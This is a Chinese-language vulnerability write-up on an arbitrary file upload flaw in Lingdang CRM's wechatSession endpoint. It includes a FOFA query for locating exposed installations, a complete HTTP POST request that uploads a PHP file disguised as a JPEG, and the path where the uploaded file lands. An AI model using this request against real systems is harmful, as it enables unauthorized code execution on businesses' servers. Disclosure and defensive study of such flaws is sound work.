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44 lines
2.0 KiB
Markdown
44 lines
2.0 KiB
Markdown
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# 灵当crm wechatSession存在任意文件上传漏洞
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# 一、漏洞简介
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<font style="color:rgb(51, 51, 51);">灵当CRM（Customer Relationship Management，客户关系管理）是一款面向中小企业的客户关系管理软件，旨在帮助企业更好地管理客户信息、销售流程、市场营销和服务支持等方面的工作。灵当CRM提供了一系列工具和功能，帮助企业在销售、市场和服务部门之间实现高效协作，提高客户满意度和业务效率。灵当crm wechatSession存在任意文件上传漏洞。</font>
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# 二、影响版本
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+ 灵当crm
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# 三、资产测绘
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+ fofa`body="[http://localhost:8088/crm/index.php"](http://localhost:8088/crm/index.php") && body="ldcrm.base.js"`
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+ 特征
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# 四、漏洞复现
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```plain
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POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
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Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Content-Length: 10338
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-----------------------------45250802924973458471174811279
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Content-Disposition: form-data; name="file"; filename="1.php"
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Content-Type: image/jpeg
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<?php phpinfo();?>
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-----------------------------45250802924973458471174811279
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```
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```plain
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/crm//storage//wechatsession//2024//10//14//1.php
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```
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> 更新: 2024-10-21 11:49:37
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fq1csz1qt7nm1lgc>
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